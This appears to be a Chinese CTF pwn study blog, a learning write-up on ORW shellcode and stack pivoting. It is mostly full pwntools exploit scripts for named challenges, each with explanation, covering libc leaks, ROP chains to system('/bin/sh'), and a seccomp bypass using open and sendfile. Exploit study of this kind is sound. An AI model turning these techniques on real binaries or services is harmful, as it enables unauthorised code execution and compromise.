57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *

#from LibcSearcher import *
context(arch='amd64',os='linux',log_level='debug')

#io = process("./vuln")
io = remote("",12345)

gs = '''
b *$rebase(0x19f2)
set debug-file-directory /home/zacsn/.config/cpwn/pkgs/2.31-
0ubuntu9.17/amd64/libc6-dbg_2.31-0ubuntu9.17_amd64/usr/lib/debug
set directories /home/zacsn/.config/cpwn/pkgs/2.31-0ubuntu9.17/amd64/glibcsource_2.31-0ubuntu9.17_all/usr/src/glibc/glibc-2.31
'''
s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
rl = lambda : io.recvline()
rn = lambda counts : io.recvn(counts)
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data)))
ia = lambda : io.interactive()
#gdb.debug(elf.path,gdbscript=gs)
#gdb.attach(io,gdbscript = gs)
#gdb.attach(io)

elf = ELF("./pwn")
libc = ELF("./libc.so.6")


pop_rdi = 0x00000000004013d3
ru(b"hello sandbox!")

payload = b'a' * 0x28 + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x4012f9)

sl(payload)
ru(b'\x0a')
puts_addr = u64(rn(6)+b'\x00\x00')
lg("puts_addr")
libc_addr = puts_addr - libc.sym['puts']
lg("libc_addr")
open_addr = libc_addr + libc.sym['open']
read_addr = libc_addr + libc.sym['read']
write_addr = libc_addr + libc.sym['write']
pop_rsi = libc_addr + 0x000000000002601f
pop_rdx = libc_addr + 0x0000000000142c92
pop_rax = libc_addr + 0x0000000000036174
syscall = libc_addr+libc.search(asm("""syscall;ret""")).__next__()
bss_addr = 0x404200

ru(b"hello sandbox!")
payload2 = b'a' * 0x28 + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss_addr) + p64(pop_rdx) + p64(0x10) + p64(read_addr)
payload2 += p64(pop_rdi) + p64(bss_addr) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall)
payload2 += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss_addr + 0x100) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
payload2 += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss_addr + 0x100) + p64(pop_rdx) + p64(0x30) + p64(write_addr)

#gdb.attach(io)
sl(payload2)

sleep(1)
sl(b"./flag\x00\x00")

ia()

今天先写到这✍️,以后还会接着写📖,但是明天就要开始着手学堆了🔥,不然很多比赛都打不了🏆💪。

ctfshow pwn69

1
2
3
4
5
6
7
8
int sub_400A16()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

puts("Now you can use ORW to do");
read(0, buf, 0x38uLL);
return puts("No you don't understand I say!");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009
0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL

可以看到orw是可以的,所以我们要先利用read将orw读到

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

context(arch='amd64',os='linux',log_level='debug')
elf = ELF('./pwn')
p = remote('pwn.challenge.ctf.show','28191')

mmap = 0x123000
orw_shellcode = shellcraft.open("./ctfshow_flag")
orw_shellcode += shellcraft.read(3,mmap,100)
orw_shellcode += shellcraft.write(1,mmap,100)
orw_shellcode = asm(orw_shellcode)

jmp_rsp_addr = 0x400a01
buf_shellcode = asm(shellcraft.read(0,mmap,100)) + asm("mov rax,0x123000; jmp rax")
buf_shellcode = buf_shellcode.ljust(0x28,b'\x00')
buf_shellcode += p64(jmp_rsp_addr) + asm("sub rsp,0x30; jmp rsp")


p.recvuntil('do')
p.sendline(buf_shellcode)
p.sendline(orw_shellcode)
p.interactive()

这一部分是标准的orw

1
2
3
4
orw_shellcode = shellcraft.open("./ctfshow_flag")
orw_shellcode += shellcraft.read(3,mmap,100)
orw_shellcode += shellcraft.write(1,mmap,100)
orw_shellcode = asm(orw_shellcode)

这部分我来详细解释一下

1
2
3
buf_shellcode = asm(shellcraft.read(0,mmap,100)) + asm("mov rax,0x123000; jmp rax")
buf_shellcode = buf_shellcode.ljust(0x28,b'\x00')
buf_shellcode += p64(jmp_rsp_addr) + asm("sub rsp,0x30; jmp rsp")

asm(shellcraft.read(0,mmap,100)):这是汇编代码,用于调用read系统调用,从标准输入读取最多100字节的数据到地址0x123000。

asm(“mov rax,0x123000; jmp rax”):先将0x123000放入rax,然后jmp rax执行shellcode,为什么是sellcode呢等下再说。

p64(jmp_rsp_addr):将返回地址覆盖成jmp rsp,此时程序跳转到 rsp 指向的位置,即 asm("sub rsp, 0x30; jmp rsp")因为pop ebp后rsp

增高0x08。

asm(“sub rsp,0x30; jmp rsp”):sub rsp,0x30使得rsp减0x30到达了buf的起始位置,jmp rsp就开始执行了。

然后我来看看整个流程。

p.sendline(buf_shellcode)后,栈上

1
2
3
4
read(0,mmap,100)
buf_shellcode.ljust(0x28,b'\x00')
p64(jmp_rsp_addr) # return_addr
asm("sub rsp,0x30; jmp rsp")

有第二部分的分析我们知道rsp此时已经达到buf的起始位置开始执行read了,所以我们才有第二次send。

我们把标准的orw输入后,同理rsp又会回到起始位置开始执行orw,最终得到flag。

栈迁移专题学习

📚 看了好几篇栈迁移的文章,🤔 越看越懵,😵‍💫 感觉自己和没学 pwn 的一样。

原理学习

32位

  1. 首先先了解栈的结构

1

(自己画的,有错误望指正)

  1. 了解栈的结构后,我们再来仔细了解一下leave;ret这两个指令
1
2
3
4
5
call func()
-----------
push eip + 4
push ebp
mov ebp,esp

如果要保持栈平衡就要在call退出的时候执行相反的操作

1
2
3
4
5
6
7
8
leave
----------
mov esp,ebp
pop ebp
************
ret
------------
pop eip
  1. 什么时候用栈迁移:

    (1).有栈溢出漏洞。

    (2).溢出的长度不够。

    所以我们就要把栈迁移到一个长度够大的区域(通常是bss段),那怎么把栈迁移呢,主要就是控制栈顶的esp指针指向我们想要他到达的地方(迁移后的地址),从而控制程序的执行流。

  2. 栈迁移最重要就是怎么利用leave;ret进行栈迁移

1
2
3
leave //mov esp;ebp 把ebp传给esp,此时esp和ebp就在同一个位置了,他们指向同一个内容
//pop ebp 把栈顶的内容弹给ebp。此时ebp指向的就是栈顶的内容了
由于esp时刻指向的是栈顶的位置,栈顶的内容弹出后,esp会下降一个单位

2

1
ret  //pop eip 就是把esp指向地址弹如eip,同时esp下降一个单元

3

了解了栈的结构和leave;ret的执行过程后,就可以来了解栈迁移的原理了

  1. 栈迁移的原理:栈迁移一共要执行两次leave;ret

    1.首先我们先了解一下此时栈上的分布情况

    1
    2
    3
    4
    5
    6
    7
    主要如下图,这里注释:
    0xffff100c--->system的返回地址
    0xffff1010--->system参数的存储地址
    0xffff1014--->存储/bin
    0xffff1018--->存储/sh
    0xffff1020--->0xffff1004 也就是ebp--->0xffff1004
    0xffff1024--->leave ret; 原本是return address;

    4

    2.第一次leave;ret:

    1
    2
    3
    由上面的leave;ret的执行过程,首先leave:mov ebp;esp,让ebp和esp在同一个位置;leave: pop ebp,此时我们把ebp所指的内容换成
    了需要迁移到的位置,所以pop ebp后esp指向的就是需要迁移到的位置。然后我们把return address换成leave ret的地址,就会再次执
    行leave ret。

    5

    3.第二次leave;ret:

    1
    2
    3
    同样是leave:mov ebp;esp,让ebp和esp在同一个位置;但是此时ebp指向的是需要迁移到的位置,所以esp此时指向的也是需要迁移到的位
    置;leave:pop ebp,我们把return address的地址换成system的地址,就使得esp下降一个单元后正好指向system的地址。ret:pop
    eip,最终eip指向system的地址--->getshell

    5

了解完了32位的栈溢出,现在来了解64位栈溢出

64位

64位和32位栈的结构是相似的,主要不同就是调用函数时传参的不同

5

实例

32位

buuctf-ciscn_2019_es_2

6

  1. IDA反编译

6

6

计算一下溢出的长度0x30 - 0x28 = 8;很明显长度不够,要用到栈迁移。

  1. 先给出exp,在具体解释
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

r=remote('node5.buuoj.cn',29440)
#r=process('./ciscn_s_4')
context.log_level='debug'

sys_addr=0x8048400
leave=0x080484b8

payload=b'a'*0x24+b'bbbb'
r.recvuntil(b'Welcome, my friend. What's your name?')
r.send(payload)
r.recvuntil('bbbb')
ebp=u32(p.recv(4).ljust(4,b'\x00'))
buf=ebp-0x38
payload=(p32(sys_addr)+b'aaaa'+p32(buf+12)+b'/bin/sh\x00').ljust(0x28,b'a')+p32(buf-4)+p32(leave)
r.send(payload)
r.interactive()
  1. 首先找到leave ret的地址可以用ROPgadget找,也可以直接在IDA的汇编代码里面找

(1)用ROPgadget

1
ROPgadget --binary ciscn_2019_es_2 --only "leave|ret"

8

(2)在IDA的汇编代码里面找

8

  1. 找到system的plt地址

8

  1. 在vul函数中有两个溢出点,所以我们就需要先通过第一个溢出泄露出ebp的地址,再构造栈迁移的payload

    (1)首先泄露ebp的地址

    1
    2
    3
    4
    5
    6
    7
    8
    9
    from pwn import *
    r = process('./pwn')
    #r = remote("node5.buuoj.cn", 25271)
    payload1= b'a'*0x24 + b'b'*4
    r.send(payload1)
    r.recvuntil('bbbb')
    ebp_addr = u32(r.recv(4))
    print(hex(ebp_addr))
    r.interactive()

    (2)构造栈迁移的payload

    1
    2
    buf=ebp-0x38 
    payload=(p32(sys_addr)+b'aaaa'+p32(buf+12)+b'/bin/sh\x00').ljust(0x28,b'a')+p32(buf-4)+p32(leave)

    buf=ebp-0x38 通过调试可以得到,我们最后调试,先解释payload

    1
    2
    3
    4
    5
    payload=(p32(sys_addr)+b'aaaa'+p32(buf+12)+b'/bin/sh\x00').ljust(0x28,b'a')+p32(buf)+p32(leave)
    ---------------------------------------------------------------------------------------------------------------
    buf + 12:p32(sys_addr)=4,b'aaaa'=4,p32(buf+12)=4,4+4+4=12所以buf+12就是/bin/sh的起始地址
    p32(buf):栈迁移所到达的位置
    leave:leave ret;

    8

​ 0xfffd158 - 0xfffd130 = 0x28 0xfffd158回弹到0xfffd168,正好0x28 + 0x10 = 0x38;

64位

actf_2019_babystack

9

64位,只开了NX,先给出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
 #coding=utf8
from pwn import *
from LibcSearcher import*
context.log_level = 'debug'
def debug():
gdb.attach(io)
pause()
#io =process('./ACTF_2019_babystack')
io = remote("node5.buuoj.cn",26651)
elf =ELF('./ACTF_2019_babystack')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x4008F6
#gdb.attach(io)
io.recvuntil(b'>')
io.sendline(b'224')
io.recvuntil(b'Your message will be saved at ')
stack_addr = io.recv(14)
stack_addr =int(stack_addr,16)
print(hex(stack_addr))
pop_rdi_ret = 0x400ad3
pop_rsi__r15_ret =0x400ad1
leave_ret = 0x400A18
offest = 0xd0
payload = b'a'*8+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
payload =payload.ljust(0xd0,b'a')
payload+=p64(stack_addr)+p64(leave_ret)
io.recvuntil(b'>')
io.send(payload)
puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print('puts_addr:'+hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
system_addr = puts_addr-libc.dump('puts')+libc.dump('system')
str_bin_sh = puts_addr-libc.dump('puts')+libc.dump('str_bin_sh')
io.recvuntil(b'>')
io.sendline(b'224')
io.recvuntil(b'Your message will be saved at ')
stack_addr = io.recv(14)
stack_addr =int(stack_addr,16)
payload = b'a'*8+p64(leave_ret+1)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)
payload =payload.ljust(0xd0,b'a')
payload+=p64(stack_addr)+p64(leave_ret)
io.send(payload)
io.interactive()

9

这个很明显要栈迁移了

这个附件里面没有找到system的地址,所以我们只能通过泄露libc来打了

1
2
3
4
payload = b'a'*8+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr) #ret2libc的payload
payload =payload.ljust(0xd0,b'a') #填充垃圾数据
payload+=p64(stack_addr)+p64(leave_ret) #stack_addr就是栈的起始位置,也就是我要迁移到的位置,本题直接回打印出来,接受就可以了
b'a'*8是因为pop rbp的时候 rsp会+8,所以要。

发送payload后,就会泄露libc

1
2
3
4
payload = b'a'*8+p64(leave_ret+1)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)
#system(/bin/sh) leave_ret+1--->retn用于堆栈平衡
payload =payload.ljust(0xd0,b'a')#填充垃圾数据
payload+=p64(stack_addr)+p64(leave_ret) #同理最终栈迁移执行shell

栈迁移到这里基本就总结结束啦~🌈✨😊

这里记录一个难的栈迁移

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("Are you the king of stack migrate?");
read(0, buf, 0x90uLL);
puts("Good luck.");
return 0LL;
}

0x90 - 0x80 = 0x10典型的栈迁移,先给exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

# 设置环境
context(os='linux', arch='amd64', log_level='info')

# 启动远程连接
io = remote('nc1.ctfplus.cn', 30481)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
leave_ret = 0x4011c8
# 快捷函数
sa = lambda a, b: io.sendafter(a, b)
ru = lambda a: io.recvuntil(a)
sd = lambda x: io.send(x)
inter = lambda: io.interactive()

offset = 0x80
padding = offset + 0x8
bss = 0x404020 + 0x500

# 第一次栈迁移:将rbp劫持到bss段
pay_pivot = cyclic(offset) + p64(bss + offset) + p64(0x40119e) # read -> bss+off
sa(b'Are you the king of stack migrate?\n', pay_pivot)
ru(b'Good luck.\n')
#gdb.attach(p)
#pause()
# 泄露puts地址
payload = flat(
0x401146, elf.got['puts'], elf.plt['puts'], # pop_rdi; puts_got; puts@plt
0x40112d, bss + offset + 0x200, 0x40119e, # pop_rbp; read -> next stage
cyclic(0x50),
bss - 0x8, leave_ret # leave; ret
)
sd(payload)
ru(b'Good luck.\n')

# 解析puts地址
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
log.success(f"libc_base: {hex(libc_base)}")

# 构造最终payload执行system("/bin/sh")
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

payload = flat(
pop_rdi := 0x401146,
binsh_addr,
system_addr
).ljust(0x80, b'\x00')

payload += p64(bss + 0x200 - 0x8) + p64(0x4011c8) # leave_ret

sleep(0.5)
io.send(payload)

io.interactive()
1
这里只有一个read函数,所以我们迁到栈上几乎是不可能的了,所以我们就想到迁到bss的段上

这里把payload怎么构造和解题思路详细写一下。

解题思路

1
先将栈迁到bss的段上,返回地址覆盖为read函数,再次读入时泄露puts的地址,返回地址依然为read,再次读入getshell。

详细解释一下这个payload

1
pay_pivot = cyclic(offset) + p64(bss + offset) + p64(0x40119e)

read_addr = 0x40119e,rbp –>p64(bss + offset),返回地址覆盖为read_addr(raed_addr后面有leave_ret)所以完成了,将栈迁移到bss + offset的位置进行读入。

1
2
3
4
5
6
payload = flat(
0x401146, elf.got['puts'], elf.plt['puts'], # pop_rdi; puts_got; puts@plt
0x40112d, bss + offset + 0x200, 0x40119e, # pop_rbp; read -> next stage
cyclic(0x50),
bss - 0x8, leave_ret # leave; ret
)

0x401146, elf.got[‘puts’], elf.plt[‘puts’]写了puts的地址的payload。

0x40112d, bss + offset + 0x200, 0x40119e, # pop_rbp; read -> next stage;利用pop_rbp再次利用read。

cyclic(0x50)–>0x401146, elf.got[‘puts’], elf.plt[‘puts’]和0x40112d, bss + offset + 0x200, 0x40119e加在一起是0x30+0x50=0x80。

bss - 0x8, leave_ret ;将栈迁移到 bss - 0x8的位置。pop_rbp是怎么利用的呢,首先read读入这串payload后先执行 0x401146,

elf.got[‘puts’], elf.plt[‘puts’]泄露puts的地址,然后pop_rbp。rbp就储存了bss+offset + 0x200的位置,接着执行0x40119e,从bss + offset +

0x200的位置开始read。

1
2
3
4
5
6
7
payload = flat(
pop_rdi := 0x401146,
binsh_addr,
system_addr
).ljust(0x80, b'\x00')

payload += p64(bss + 0x200 - 0x8) + p64(0x4011c8)

payload = flat(
pop_rdi := 0x401146,
binsh_addr,
system_addr
).ljust(0x80, b’\x00’)是构造system(/bin/sh)

payload += p64(bss + 0x200 - 0x8) + p64(0x4011c8)完成栈迁移。

[Black Watch 入群题]PWN1

这题不难记录一下题目和exp就可以了

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
vul_function();
puts("GoodBye!");
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
ssize_t vul_function()
{
size_t v0; // eax
size_t v1; // eax
char buf[24]; // [esp+0h] [ebp-18h] BYREF

v0 = strlen(m1);
write(1, m1, v0);
read(0, &s, 0x200u); //s在bss段上
v1 = strlen(m2);
write(1, m2, v1);
return read(0, buf, 0x20u);
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
from LibcSearcher import *

# 连接到远程服务
p = remote('node5.buuoj.cn', 27611)

# 设置环境参数(架构、操作系统、日志等级)
context(arch='i386', os='linux', log_level='debug')

# 加载本地 ELF 文件
e = ELF('./spwn')

# 获取程序中的符号地址
write_plt = e.plt['write']
write_got = e.got['write']
read_plt = e.plt['read']
main_addr = 0x08048513 # main 函数地址

# 第一次发送 payload:泄露 write 的真实地址
payload1 = b'aaaa' + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
p.recvuntil('What is your name?')
p.send(payload1)

# 接收输入提示
p.recvuntil('What do you want to say?')

# 构造栈溢出 payload,覆盖返回地址,为下一次调用做准备
payload2 = b'a' * 0x18 + p32(0x0804A300) + p32(0x08048511) # 0x0804A300 为 bss 段地址,0x08048511 为 level 函数返回地址
p.send(payload2)

# 接收 write 的地址并解析
write_addr = u32(p.recv(4))
log.success("Leaked write address: " + hex(write_addr))

# 使用 LibcSearcher 查找 libc 基址及 system 和 "/bin/sh" 地址
obj = LibcSearcher('write', write_addr)
libc_base = write_addr - obj.dump('write')
sys_addr = libc_base + obj.dump('system')
bin_sh_addr = libc_base + obj.dump('str_bin_sh')

# 第二次交互:发送调用 system("/bin/sh") 的 payload
p.recvuntil('What is your name?')
payload3 = b'aaaa' + p32(sys_addr) + p32(0) + p32(bin_sh_addr)
p.send(payload3)

# 再次接收提示
p.recvuntil('What do you want to say?')

# 再次构造栈溢出 payload,确保程序流正确执行
payload4 = b'a' * 0x18 + p32(0x0804A300) + p32(0x08048511)
p.send(payload4)

# 进入交互模式,获取 shell
p.interactive()

gyctf_2020_borrowstack

这题不难也记录一下题目和exp就可以了

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[96]; // [rsp+0h] [rbp-60h] BYREF

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
puts("锛積lcome to Stack bank,Tell me what you want");
read(0, buf, 0x70uLL);
puts("Done!You can check and use your borrow stack now!");
read(0, &bank, 0x100uLL); //bank在bss段
return 0;
}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *

# 连接到远程服务器
p = remote('node4.buuoj.cn', 25199)

# 设置环境参数
context(arch='amd64', os='linux', log_level='debug')

# 加载 libc 和 程序的 ELF 文件
libc = ELF('libc-2.23.so')
e = ELF('./a')

# 获取 plt 和 got 中 puts 的地址
puts_plt_addr = e.plt['puts']
puts_got_addr = e.got['puts']

# 常量地址定义
pop_rdi_addr = 0x400703 # pop rdi; ret 指令的地址
level_ret_addr = 0x400699 # level 函数返回地址
bss_addr = 0x601080 # bss 段地址
ret_addr = 0x4004c9 # ret 指令地址
main_addr = 0x400626 # main 函数地址

# 第一个 payload:填充栈并跳转到 level_ret_addr
payload1 = 0x60 * b'a' + p64(bss_addr) + p64(level_ret_addr)
p.send(payload1)

# 第二个 payload:执行 ret 多次,然后调用 puts 泄露地址,并回到 main 函数
payload2 = p64(ret_addr) * 20 # 使用至少 20 个 ret 指令
payload2 += p64(pop_rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) # 调用 puts 泄露 puts 地址
payload2 += p64(main_addr) # 返回到 main 函数
p.sendafter(b'Done!You can check and use your borrow stack now!\n', payload2)

# 接收泄露的 puts 地址
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
print(f"Leaked puts address: {hex(puts_addr)}")

# 计算 libc 基地址和 shell 地址
libc_base = puts_addr - libc.symbols['puts']
shell = libc_base + 0x4526a system("/bin/sh") 地址
print(f"Shell address: {hex(shell)}")

# 第三个 payload:覆盖返回地址为 shell 地址
payload3 = 0x60 * b'a' + p64(0xdeadbeef) + p64(shell)
p.recvuntil(b'u want\n')
p.send(payload3)

# 接收提示后发送 '1'
p.recvuntil(b'Done!You can check and use your borrow stack now!\n')
p.send(b'1')

# 进入交互模式
p.interactive()

Basectf2024 stack in stack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 buf[6]; // [rsp+0h] [rbp-30h] BYREF

sub_4011FE(a1, a2, a3);
memset(buf, 0, sizeof(buf));
puts("It looks like something fell off mick0960.");
printf("%p\n", buf);
if ( (int)read(0, buf, 0x40uLL) < 0 )
{
perror("An error occurred while reading!");
exit(1);
}
return 0LL;
}

这里主要利用了栈迁移,进行第一次泄露puts的地址,并且返回main。再次进行栈迁移,执行ROP链getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
p = process('./pwn')
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
p.recvuntil(b'It looks like something fell off mick0960.\n')
buf_addr = int(p.recv(14), 16)
print(hex(buf_addr))
main_addr = 0x40124a
leave = 0x4012f2
sub_4011C6 = 0x4011dd #泄露puts的地址

payload = p64(0) + p64(sub_4011C6) + p64(0) + p64(main_addr)
payload += p64(0)*2
payload += p64(buf_addr) + p64(leave)
p.send(payload)
#gdb.attach(p)
#pause()
p.recvuntil(b'0x')
libc_base = int(p.recv(12), 16) - libc.sym.puts
print(hex(libc_base))
p.recvuntil(b'It looks like something fell off mick0960.\n')
buf_addr = int(p.recv(14), 16)
#gdb.attach(p)
#pause()

system = libc_base + libc.sym.system
binsh = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi = libc_base + 0x2a3e5 #在libc.so.6找
ret = 0x40101a
#gdb.attach(p)
#pause()

payload = b'aaaa' + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system) + p64(0)
payload += p64(buf_addr) + p64(leave)
p.send(payload)
#gdb.attach(p)
#pause()
p.interactive()
1
ROPgadget --binary libc.so.6 --only "pop|ret"  #查找pop_rdi的偏移

[SWPUCTF 2024 秋季新生赛]不可名状的东西

栈迁移+ORW

1
2
3
4
5
6
7
8
9
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF

init(argc, argv, envp);
puts("Please enter your name!");
read(0, buf, 0x98uLL);
return 0;
}

0x98 - 0x80 -0x08 = 16太短栈迁移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

# 设置环境
context(os='linux', arch='amd64', log_level='info')

# 启动远程连接
io = remote('node6.anna.nssctf.cn', 23555)
elf = ELF('./level1')
libc = ELF('./libc.so.6')
leave_ret = 0x40120F
# 快捷函数
sa = lambda a, b: io.sendafter(a, b)
ru = lambda a: io.recvuntil(a)
sd = lambda x: io.send(x)
inter = lambda: io.interactive()

offset = 0x80
padding = offset + 0x8
bss = 0x404020 + 0x700

# 第一次栈迁移:将rbp劫持到bss段
pay_pivot = cyclic(offset) + p64(bss + offset) + p64(0x4011EF) # read -> bss+off
sa(b'Please enter your name!\n', pay_pivot)
#gdb.attach(p)
#pause()
# 泄露puts地址
payload = flat(
0x4011C5, 0x404018, 0x401060, # pop_rdi; puts_got; puts@plt
0x4011C8, bss + offset + 0x200, 0x4011EF, # pop_rbp; read -> next stage
cyclic(0x50),
bss - 0x8, leave_ret # leave; ret
)
sd(payload)

# 解析puts地址
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
log.success(f"libc_base: {hex(libc_base)}")

# 构造最终payload执行system("/bin/sh")
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

payload = b'a'*8+p64(leave_ret+1)+p64(leave_ret+1)+p64(leave_ret+1)+p64(0x4011C5)+p64(binsh_addr)+p64(system_addr)
payload =payload.ljust(0x80,b'a')
payload+=p64(bss + 0x200 - 0x8)+p64(leave_ret)

sleep(0.5)
io.send(payload)

io.interactive()

开始直接用system(/bin/sh)打失败了

1
2
3
4
5
6
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0003
0002: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0003: 0x06 0x00 0x00 0x00000000 return KILL

execve被禁了

用ORW

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
payload = (
# 1. 在内存中写入目标文件路径 "./flag\x00"(末尾补\x00对齐8字节)
b"./flag\x00\x00" # 字符串占6字节,补2个\x00凑8字节,存放在栈上

# 2. 调用open函数打开文件:open("./flag", O_RDONLY)
+ p64(0x4011C5) # pop rdi; ret(用于给rdi传参)
+ p64(bss + 0x200) # rdi = 字符串存放地址(./flag的地址)
+ p64(pop_rsi) # pop rsi; ret(用于给rsi传参)
+ p64(0) # rsi = 0(O_RDONLY,只读模式)
+ p64(open_addr) # 调用open函数,此时栈顶为open地址,执行后打开文件

# 3. 调用read函数读取文件内容:read(fd, buffer, size)
+ p64(0x4011C5) # pop rdi; ret
+ p64(3) # rdi = 3(假设open返回的文件描述符为3)
+ p64(pop_rsi) # pop rsi; ret
+ p64(buffer_addr) # rsi = 缓冲区地址(存放读取内容的内存地址)
+ p64(pop_rdx) # pop rdx; ret
+ p64(0x100) # rdx = 0x100(读取的字节数)
+ p64(read_addr) # 调用read函数,读取文件内容到缓冲区

# 4. 调用write函数输出内容:write(stdout, buffer, size)
+ p64(0x4011C5) # pop rdi; ret
+ p64(1) # rdi = 1(stdout,标准输出)
+ p64(pop_rsi) # pop rsi; ret
+ p64(buffer_addr) # rsi = 缓冲区地址(之前存放读取内容的地址)
+ p64(pop_rdx) # pop rdx; ret
+ p64(0x100) # rdx = 0x100(输出的字节数)
+ p64(write_addr) # 调用write函数,将读取到的flag输出到屏幕

20*8 = 160 >0x80所以不能,最终用open + sendflie成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *

# 设置环境
context(os='linux', arch='amd64', log_level='info')

# 启动远程连接
io = remote('node6.anna.nssctf.cn', 24512)
elf = ELF('./level1')
libc = ELF('./libc.so.6')
leave_ret = 0x40120F
# 快捷函数
sa = lambda a, b: io.sendafter(a, b)
ru = lambda a: io.recvuntil(a)
sd = lambda x: io.send(x)
inter = lambda: io.interactive()

offset = 0x80
padding = offset + 0x8
bss = 0x404020 + 0x700

# 第一次栈迁移:将rbp劫持到bss段
pay_pivot = cyclic(offset) + p64(bss + offset) + p64(0x4011EF) # read -> bss+off
sa(b'Please enter your name!\n', pay_pivot)
#gdb.attach(p)
#pause()
# 泄露puts地址
payload = flat(
0x4011C5, 0x404018, 0x401060, # pop_rdi; puts_got; puts@plt
0x4011BB, bss + offset + 0x200, 0x4011EF, # pop_rbp; read -> next stage
cyclic(0x50),
bss - 0x8, leave_ret # leave; ret
)
